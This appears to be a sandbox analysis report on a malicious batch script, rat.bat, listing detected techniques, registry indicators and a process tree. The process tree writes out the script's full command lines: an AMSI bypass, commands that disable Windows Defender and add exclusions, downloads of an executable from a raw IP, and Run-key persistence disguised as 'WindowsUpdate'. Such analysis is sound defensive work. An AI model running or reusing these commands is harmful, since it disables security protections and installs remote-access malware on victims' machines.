2d8c6f65e71fe53ec669297909dfd7090c0585bd79e5561b325c6ace4409c5fd

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
19	3152	powershell.exe
21	4288	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1892	powershell.exe
1236	powershell.exe
2440	powershell.exe
5072	powershell.exe
3152	powershell.exe
4288	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
21	4288	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
3904	b.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

defense_evasion spyware trojan

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\w1319\\s.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\w1319\\s.exe"	reg.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2400	sc.exe
3728	sc.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3368	timeout.exe

Modifies system certificate store 2 TTPs 5 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB	b.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB\Blob = 0f0000000100000020000000489ff6233f3d3c5da77604be230745657fe488cb05257da551bfd64c1f179e720b0000000100000052000000530053004c002e0063006f006d00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f0072006900740079002000520053004100000009000000010000004c000000304a06082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b0601050507030862000000010000002000000085666a562ee0be5ce925c1d8890a6f76a87ec16d4d7d5f29ea7419cf20123b69140000000100000014000000dd040907a2f57a7d5253129295ee3880250da6591d00000001000000100000000d48ee33d7f1af8f4b002527f82a344a030000000100000014000000b7ab3308d1ea4477ba1480125a6fbda936490cbb2000000001000000e1050000308205dd308203c5a00302010202087b2c9bd316803299300d06092a864886f70d01010b0500307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f7269747920525341301e170d3136303231323137333933395a170d3431303231323137333933395a307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f726974792052534130820222300d06092a864886f70d01010105000382020f003082020a0282020100f90fdda32b7dcbd02afeec6785a6e72e1bba77e1e3f5afa4ecfa4a5d91c457476b18776b76f2fd93e43d0fc2169e0b66c356949e178385ce56eff216fd0062f5220954e865174e41b9e04f4697aa1bc8b86e625e69b15fdb2a027efc6ccaf341d8edd0e8fc3f6148edb003141d100e4b19e0bb4eec8665ff36f35e67020b9d865561fd7a38edfee21900b76fa1506275743ca0fac82592b46e7a22c7f81ea1e3b2dd9131ab2b1d04ffa54a0437e985a4332bfde2d655347c19a44a68c7b2a8d3b7caa19388ebc197bc8cf91dd922842474c7043d6aa92993ccebb85be1fe5f25aa3458c8c123549d1b9811c3389c7e3d866ca50f40867c02f45c024f28cbae719f0f3ac833fe112535eafcbac5603dd97c18d5b2a9d37578037222ca3ac31fef2ce52ea9fa9e2cb65146fdaf03d6ea6068ea8516366b85e91ec0b3ddc424dc802a81416d943ec8e0c98141009e5ebf7fc50898a2182c4240b3f96f38274b4e80f43d8147e0887cea1cceb5755c512e1c2b7f1a7228e700b5d174c6d7e49fad0793b6533535fc37e4c3f65d16be2173de920af8a0636abc96926a3ef8bc65559bdef50d892604fc251aa62569cbc26dca7ce2595f97acebef2ec8bcd71b593c2bccf219c8936b276319cffce926f8ca719b7f93fe3467844e99ebfcb378093370ba66a676ed1b73eb1aa50dc422132094560a4e2c6c4eb1fdcf9c09baa233ed870203010001a3633061301d0603551d0e04160414dd040907a2f57a7d5253129295ee3880250da659300f0603551d130101ff040530030101ff301f0603551d23041830168014dd040907a2f57a7d5253129295ee3880250da659300e0603551d0f0101ff040403020186300d06092a864886f70d01010b050003820201002018119429fb269d1c1e1e7061f19572937124ad6893588e32af1bb37003fc252b7485903d786af4b98ba5973bb51891bb1ea7f9405b91f95599af1e11d05c1da766e3b194070c3239a6ea1bb079d81d9c7044e38addc4f9951f8a38433f0185a547a73d46b2bce52268f77b9cd82c3e0a21c82d33acbfc581993174c17571c5beb1f02345f49d6bfc19639da3bc04c6180b25bb53890fb38050de45ee447fab94786498d3f628dd87d8706574fb0eb913eba70f61a93296ccdebbed634c18bba940f7a0546e2088717518ea7ab43472e02327775cb690ea862540abef330fcb9f82bea220fbf6b52d1ae6c285b1740ffbc86502a4520147dd4922c1bfd8eb6bac7edeec633315b723088fc60f8d415add8ec5b98fe5453f78dbbad21b40b1fe714d3fe081a2ba5eb4ec15e093dd081f7ee155990b21de939e0afbe6a349bd3630fee777b2a07597b52d8188176520f7da90009fc952cc32ca357cf53d0fd82bd7f5266cc906349616ea70591a3279790bb6887f0f52483dbf6cd8a2442ed14eb77258d3891395fe44abf8d78b1b6e9cbc2ca05bd56a00af5f37e1d5fa100b989c86e7268fcef0ec6e8a570b80e34eb2c0a0636190ba556837746ab692db9fa18622b665270eecb69f4260e467c2b5da410bc4d38b611bbcfa1f912bd744075eba29acd9c5e9ef53485aeb80f1285821cdb00655fb273f539070a9041e5727b9	b.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB\Blob = 040000000100000010000000866912c070f1ecacacc2d5bca55ba129030000000100000014000000b7ab3308d1ea4477ba1480125a6fbda936490cbb1d00000001000000100000000d48ee33d7f1af8f4b002527f82a344a140000000100000014000000dd040907a2f57a7d5253129295ee3880250da65962000000010000002000000085666a562ee0be5ce925c1d8890a6f76a87ec16d4d7d5f29ea7419cf20123b6909000000010000004c000000304a06082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703080b0000000100000052000000530053004c002e0063006f006d00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900200052005300410000000f0000000100000020000000489ff6233f3d3c5da77604be230745657fe488cb05257da551bfd64c1f179e722000000001000000e1050000308205dd308203c5a00302010202087b2c9bd316803299300d06092a864886f70d01010b0500307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f7269747920525341301e170d3136303231323137333933395a170d3431303231323137333933395a307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f726974792052534130820222300d06092a864886f70d01010105000382020f003082020a0282020100f90fdda32b7dcbd02afeec6785a6e72e1bba77e1e3f5afa4ecfa4a5d91c457476b18776b76f2fd93e43d0fc2169e0b66c356949e178385ce56eff216fd0062f5220954e865174e41b9e04f4697aa1bc8b86e625e69b15fdb2a027efc6ccaf341d8edd0e8fc3f6148edb003141d100e4b19e0bb4eec8665ff36f35e67020b9d865561fd7a38edfee21900b76fa1506275743ca0fac82592b46e7a22c7f81ea1e3b2dd9131ab2b1d04ffa54a0437e985a4332bfde2d655347c19a44a68c7b2a8d3b7caa19388ebc197bc8cf91dd922842474c7043d6aa92993ccebb85be1fe5f25aa3458c8c123549d1b9811c3389c7e3d866ca50f40867c02f45c024f28cbae719f0f3ac833fe112535eafcbac5603dd97c18d5b2a9d37578037222ca3ac31fef2ce52ea9fa9e2cb65146fdaf03d6ea6068ea8516366b85e91ec0b3ddc424dc802a81416d943ec8e0c98141009e5ebf7fc50898a2182c4240b3f96f38274b4e80f43d8147e0887cea1cceb5755c512e1c2b7f1a7228e700b5d174c6d7e49fad0793b6533535fc37e4c3f65d16be2173de920af8a0636abc96926a3ef8bc65559bdef50d892604fc251aa62569cbc26dca7ce2595f97acebef2ec8bcd71b593c2bccf219c8936b276319cffce926f8ca719b7f93fe3467844e99ebfcb378093370ba66a676ed1b73eb1aa50dc422132094560a4e2c6c4eb1fdcf9c09baa233ed870203010001a3633061301d0603551d0e04160414dd040907a2f57a7d5253129295ee3880250da659300f0603551d130101ff040530030101ff301f0603551d23041830168014dd040907a2f57a7d5253129295ee3880250da659300e0603551d0f0101ff040403020186300d06092a864886f70d01010b050003820201002018119429fb269d1c1e1e7061f19572937124ad6893588e32af1bb37003fc252b7485903d786af4b98ba5973bb51891bb1ea7f9405b91f95599af1e11d05c1da766e3b194070c3239a6ea1bb079d81d9c7044e38addc4f9951f8a38433f0185a547a73d46b2bce52268f77b9cd82c3e0a21c82d33acbfc581993174c17571c5beb1f02345f49d6bfc19639da3bc04c6180b25bb53890fb38050de45ee447fab94786498d3f628dd87d8706574fb0eb913eba70f61a93296ccdebbed634c18bba940f7a0546e2088717518ea7ab43472e02327775cb690ea862540abef330fcb9f82bea220fbf6b52d1ae6c285b1740ffbc86502a4520147dd4922c1bfd8eb6bac7edeec633315b723088fc60f8d415add8ec5b98fe5453f78dbbad21b40b1fe714d3fe081a2ba5eb4ec15e093dd081f7ee155990b21de939e0afbe6a349bd3630fee777b2a07597b52d8188176520f7da90009fc952cc32ca357cf53d0fd82bd7f5266cc906349616ea70591a3279790bb6887f0f52483dbf6cd8a2442ed14eb77258d3891395fe44abf8d78b1b6e9cbc2ca05bd56a00af5f37e1d5fa100b989c86e7268fcef0ec6e8a570b80e34eb2c0a0636190ba556837746ab692db9fa18622b665270eecb69f4260e467c2b5da410bc4d38b611bbcfa1f912bd744075eba29acd9c5e9ef53485aeb80f1285821cdb00655fb273f539070a9041e5727b9	b.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB\Blob = 190000000100000010000000787d09f953c59978ecd8d6e44b38e24f0f0000000100000020000000489ff6233f3d3c5da77604be230745657fe488cb05257da551bfd64c1f179e720b0000000100000052000000530053004c002e0063006f006d00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f0072006900740079002000520053004100000009000000010000004c000000304a06082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b0601050507030862000000010000002000000085666a562ee0be5ce925c1d8890a6f76a87ec16d4d7d5f29ea7419cf20123b69140000000100000014000000dd040907a2f57a7d5253129295ee3880250da6591d00000001000000100000000d48ee33d7f1af8f4b002527f82a344a030000000100000014000000b7ab3308d1ea4477ba1480125a6fbda936490cbb040000000100000010000000866912c070f1ecacacc2d5bca55ba1292000000001000000e1050000308205dd308203c5a00302010202087b2c9bd316803299300d06092a864886f70d01010b0500307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f7269747920525341301e170d3136303231323137333933395a170d3431303231323137333933395a307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f726974792052534130820222300d06092a864886f70d01010105000382020f003082020a0282020100f90fdda32b7dcbd02afeec6785a6e72e1bba77e1e3f5afa4ecfa4a5d91c457476b18776b76f2fd93e43d0fc2169e0b66c356949e178385ce56eff216fd0062f5220954e865174e41b9e04f4697aa1bc8b86e625e69b15fdb2a027efc6ccaf341d8edd0e8fc3f6148edb003141d100e4b19e0bb4eec8665ff36f35e67020b9d865561fd7a38edfee21900b76fa1506275743ca0fac82592b46e7a22c7f81ea1e3b2dd9131ab2b1d04ffa54a0437e985a4332bfde2d655347c19a44a68c7b2a8d3b7caa19388ebc197bc8cf91dd922842474c7043d6aa92993ccebb85be1fe5f25aa3458c8c123549d1b9811c3389c7e3d866ca50f40867c02f45c024f28cbae719f0f3ac833fe112535eafcbac5603dd97c18d5b2a9d37578037222ca3ac31fef2ce52ea9fa9e2cb65146fdaf03d6ea6068ea8516366b85e91ec0b3ddc424dc802a81416d943ec8e0c98141009e5ebf7fc50898a2182c4240b3f96f38274b4e80f43d8147e0887cea1cceb5755c512e1c2b7f1a7228e700b5d174c6d7e49fad0793b6533535fc37e4c3f65d16be2173de920af8a0636abc96926a3ef8bc65559bdef50d892604fc251aa62569cbc26dca7ce2595f97acebef2ec8bcd71b593c2bccf219c8936b276319cffce926f8ca719b7f93fe3467844e99ebfcb378093370ba66a676ed1b73eb1aa50dc422132094560a4e2c6c4eb1fdcf9c09baa233ed870203010001a3633061301d0603551d0e04160414dd040907a2f57a7d5253129295ee3880250da659300f0603551d130101ff040530030101ff301f0603551d23041830168014dd040907a2f57a7d5253129295ee3880250da659300e0603551d0f0101ff040403020186300d06092a864886f70d01010b050003820201002018119429fb269d1c1e1e7061f19572937124ad6893588e32af1bb37003fc252b7485903d786af4b98ba5973bb51891bb1ea7f9405b91f95599af1e11d05c1da766e3b194070c3239a6ea1bb079d81d9c7044e38addc4f9951f8a38433f0185a547a73d46b2bce52268f77b9cd82c3e0a21c82d33acbfc581993174c17571c5beb1f02345f49d6bfc19639da3bc04c6180b25bb53890fb38050de45ee447fab94786498d3f628dd87d8706574fb0eb913eba70f61a93296ccdebbed634c18bba940f7a0546e2088717518ea7ab43472e02327775cb690ea862540abef330fcb9f82bea220fbf6b52d1ae6c285b1740ffbc86502a4520147dd4922c1bfd8eb6bac7edeec633315b723088fc60f8d415add8ec5b98fe5453f78dbbad21b40b1fe714d3fe081a2ba5eb4ec15e093dd081f7ee155990b21de939e0afbe6a349bd3630fee777b2a07597b52d8188176520f7da90009fc952cc32ca357cf53d0fd82bd7f5266cc906349616ea70591a3279790bb6887f0f52483dbf6cd8a2442ed14eb77258d3891395fe44abf8d78b1b6e9cbc2ca05bd56a00af5f37e1d5fa100b989c86e7268fcef0ec6e8a570b80e34eb2c0a0636190ba556837746ab692db9fa18622b665270eecb69f4260e467c2b5da410bc4d38b611bbcfa1f912bd744075eba29acd9c5e9ef53485aeb80f1285821cdb00655fb273f539070a9041e5727b9	b.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B7AB3308D1EA4477BA1480125A6FBDA936490CBB\Blob = 5c000000010000000400000000100000040000000100000010000000866912c070f1ecacacc2d5bca55ba129030000000100000014000000b7ab3308d1ea4477ba1480125a6fbda936490cbb1d00000001000000100000000d48ee33d7f1af8f4b002527f82a344a140000000100000014000000dd040907a2f57a7d5253129295ee3880250da65962000000010000002000000085666a562ee0be5ce925c1d8890a6f76a87ec16d4d7d5f29ea7419cf20123b6909000000010000004c000000304a06082b0601050507030206082b06010505070303060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703080b0000000100000052000000530053004c002e0063006f006d00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900200052005300410000000f0000000100000020000000489ff6233f3d3c5da77604be230745657fe488cb05257da551bfd64c1f179e72190000000100000010000000787d09f953c59978ecd8d6e44b38e24f2000000001000000e1050000308205dd308203c5a00302010202087b2c9bd316803299300d06092a864886f70d01010b0500307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f7269747920525341301e170d3136303231323137333933395a170d3431303231323137333933395a307c310b3009060355040613025553310e300c06035504080c0554657861733110300e06035504070c07486f7573746f6e31183016060355040a0c0f53534c20436f72706f726174696f6e3131302f06035504030c2853534c2e636f6d20526f6f742043657274696669636174696f6e20417574686f726974792052534130820222300d06092a864886f70d01010105000382020f003082020a0282020100f90fdda32b7dcbd02afeec6785a6e72e1bba77e1e3f5afa4ecfa4a5d91c457476b18776b76f2fd93e43d0fc2169e0b66c356949e178385ce56eff216fd0062f5220954e865174e41b9e04f4697aa1bc8b86e625e69b15fdb2a027efc6ccaf341d8edd0e8fc3f6148edb003141d100e4b19e0bb4eec8665ff36f35e67020b9d865561fd7a38edfee21900b76fa1506275743ca0fac82592b46e7a22c7f81ea1e3b2dd9131ab2b1d04ffa54a0437e985a4332bfde2d655347c19a44a68c7b2a8d3b7caa19388ebc197bc8cf91dd922842474c7043d6aa92993ccebb85be1fe5f25aa3458c8c123549d1b9811c3389c7e3d866ca50f40867c02f45c024f28cbae719f0f3ac833fe112535eafcbac5603dd97c18d5b2a9d37578037222ca3ac31fef2ce52ea9fa9e2cb65146fdaf03d6ea6068ea8516366b85e91ec0b3ddc424dc802a81416d943ec8e0c98141009e5ebf7fc50898a2182c4240b3f96f38274b4e80f43d8147e0887cea1cceb5755c512e1c2b7f1a7228e700b5d174c6d7e49fad0793b6533535fc37e4c3f65d16be2173de920af8a0636abc96926a3ef8bc65559bdef50d892604fc251aa62569cbc26dca7ce2595f97acebef2ec8bcd71b593c2bccf219c8936b276319cffce926f8ca719b7f93fe3467844e99ebfcb378093370ba66a676ed1b73eb1aa50dc422132094560a4e2c6c4eb1fdcf9c09baa233ed870203010001a3633061301d0603551d0e04160414dd040907a2f57a7d5253129295ee3880250da659300f0603551d130101ff040530030101ff301f0603551d23041830168014dd040907a2f57a7d5253129295ee3880250da659300e0603551d0f0101ff040403020186300d06092a864886f70d01010b050003820201002018119429fb269d1c1e1e7061f19572937124ad6893588e32af1bb37003fc252b7485903d786af4b98ba5973bb51891bb1ea7f9405b91f95599af1e11d05c1da766e3b194070c3239a6ea1bb079d81d9c7044e38addc4f9951f8a38433f0185a547a73d46b2bce52268f77b9cd82c3e0a21c82d33acbfc581993174c17571c5beb1f02345f49d6bfc19639da3bc04c6180b25bb53890fb38050de45ee447fab94786498d3f628dd87d8706574fb0eb913eba70f61a93296ccdebbed634c18bba940f7a0546e2088717518ea7ab43472e02327775cb690ea862540abef330fcb9f82bea220fbf6b52d1ae6c285b1740ffbc86502a4520147dd4922c1bfd8eb6bac7edeec633315b723088fc60f8d415add8ec5b98fe5453f78dbbad21b40b1fe714d3fe081a2ba5eb4ec15e093dd081f7ee155990b21de939e0afbe6a349bd3630fee777b2a07597b52d8188176520f7da90009fc952cc32ca357cf53d0fd82bd7f5266cc906349616ea70591a3279790bb6887f0f52483dbf6cd8a2442ed14eb77258d3891395fe44abf8d78b1b6e9cbc2ca05bd56a00af5f37e1d5fa100b989c86e7268fcef0ec6e8a570b80e34eb2c0a0636190ba556837746ab692db9fa18622b665270eecb69f4260e467c2b5da410bc4d38b611bbcfa1f912bd744075eba29acd9c5e9ef53485aeb80f1285821cdb00655fb273f539070a9041e5727b9	b.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4320	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1892	powershell.exe
1892	powershell.exe
1236	powershell.exe
1236	powershell.exe
2440	powershell.exe
2440	powershell.exe
5072	powershell.exe
5072	powershell.exe
3152	powershell.exe
3152	powershell.exe
4288	powershell.exe
4288	powershell.exe
3904	b.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	4288	powershell.exe
Token: SeDebugPrivilege	3904	b.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1440 wrote to memory of 2096	1440	cmd.exe	91
PID 2096 wrote to memory of 3056	2096	net.exe	92
PID 1440 wrote to memory of 604	1440	cmd.exe	93
PID 1440 wrote to memory of 1892	1440	cmd.exe	94
PID 1440 wrote to memory of 4412	1440	cmd.exe	95
PID 1440 wrote to memory of 4504	1440	cmd.exe	96
PID 1440 wrote to memory of 4748	1440	cmd.exe	97
PID 1440 wrote to memory of 5076	1440	cmd.exe	98
PID 1440 wrote to memory of 2880	1440	cmd.exe	99
PID 2880 wrote to memory of 4432	2880	net.exe	100
PID 1440 wrote to memory of 3740	1440	cmd.exe	101
PID 3740 wrote to memory of 3852	3740	net.exe	102
PID 1440 wrote to memory of 2400	1440	cmd.exe	103
PID 1440 wrote to memory of 3728	1440	cmd.exe	104
PID 1440 wrote to memory of 1236	1440	cmd.exe	105
PID 1440 wrote to memory of 2440	1440	cmd.exe	106
PID 1440 wrote to memory of 5072	1440	cmd.exe	107
PID 1440 wrote to memory of 4368	1440	cmd.exe	108
PID 1440 wrote to memory of 3152	1440	cmd.exe	109
PID 1440 wrote to memory of 4288	1440	cmd.exe	110
PID 1440 wrote to memory of 3904	1440	cmd.exe	113
PID 1440 wrote to memory of 2388	1440	cmd.exe	114
PID 1440 wrote to memory of 4780	1440	cmd.exe	115
PID 1440 wrote to memory of 4320	1440	cmd.exe	116
PID 1440 wrote to memory of 4304	1440	cmd.exe	117
PID 1440 wrote to memory of 4532	1440	cmd.exe	118
PID 1440 wrote to memory of 3368	1440	cmd.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
604	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat.bat"
1⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:1440
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:3056
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\w1319"
  2⤵
  - Views/modifies file attributes
  PID:604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1892
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4412
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4504
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4748
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5076
- C:\Windows\system32\net.exe
  net stop WinDefend /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend /y
    3⤵
    PID:4432
- C:\Windows\system32\net.exe
  net stop SecurityHealthService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3740
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SecurityHealthService /y
    3⤵
    PID:3852
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2400
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\w1319' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Add-MpPreference -ExclusionProcess 's.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5072
- C:\Windows\system32\certutil.exe
  certutil -urlcache -split -f http://5.180.82.139:8004 "C:\Users\Admin\AppData\Local\Temp\w1319\s.exe"
  2⤵
  PID:4368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Invoke-WebRequest http://5.180.82.139:8004 -OutFile 'C:\Users\Admin\AppData\Local\Temp\w1319\s.exe' -UseBasicParsing"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Invoke-WebRequest https://getsolara.dev/download/static/files/BootstrapperNew.exe -OutFile 'C:\Users\Admin\AppData\Local\Temp\w1319\b.exe' -UseBasicParsing"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4288
- C:\Users\Admin\AppData\Local\Temp\w1319\b.exe
  "C:\Users\Admin\AppData\Local\Temp\w1319\b.exe" -q
  2⤵
  - Executes dropped EXE
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3904
- C:\Windows\system32\reg.exe
  reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\w1319\s.exe" /f
  2⤵
  - Adds Run key to start application
  PID:2388
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\w1319\s.exe" /f
  2⤵
  - Adds Run key to start application
  PID:4780
- C:\Windows\system32\schtasks.exe
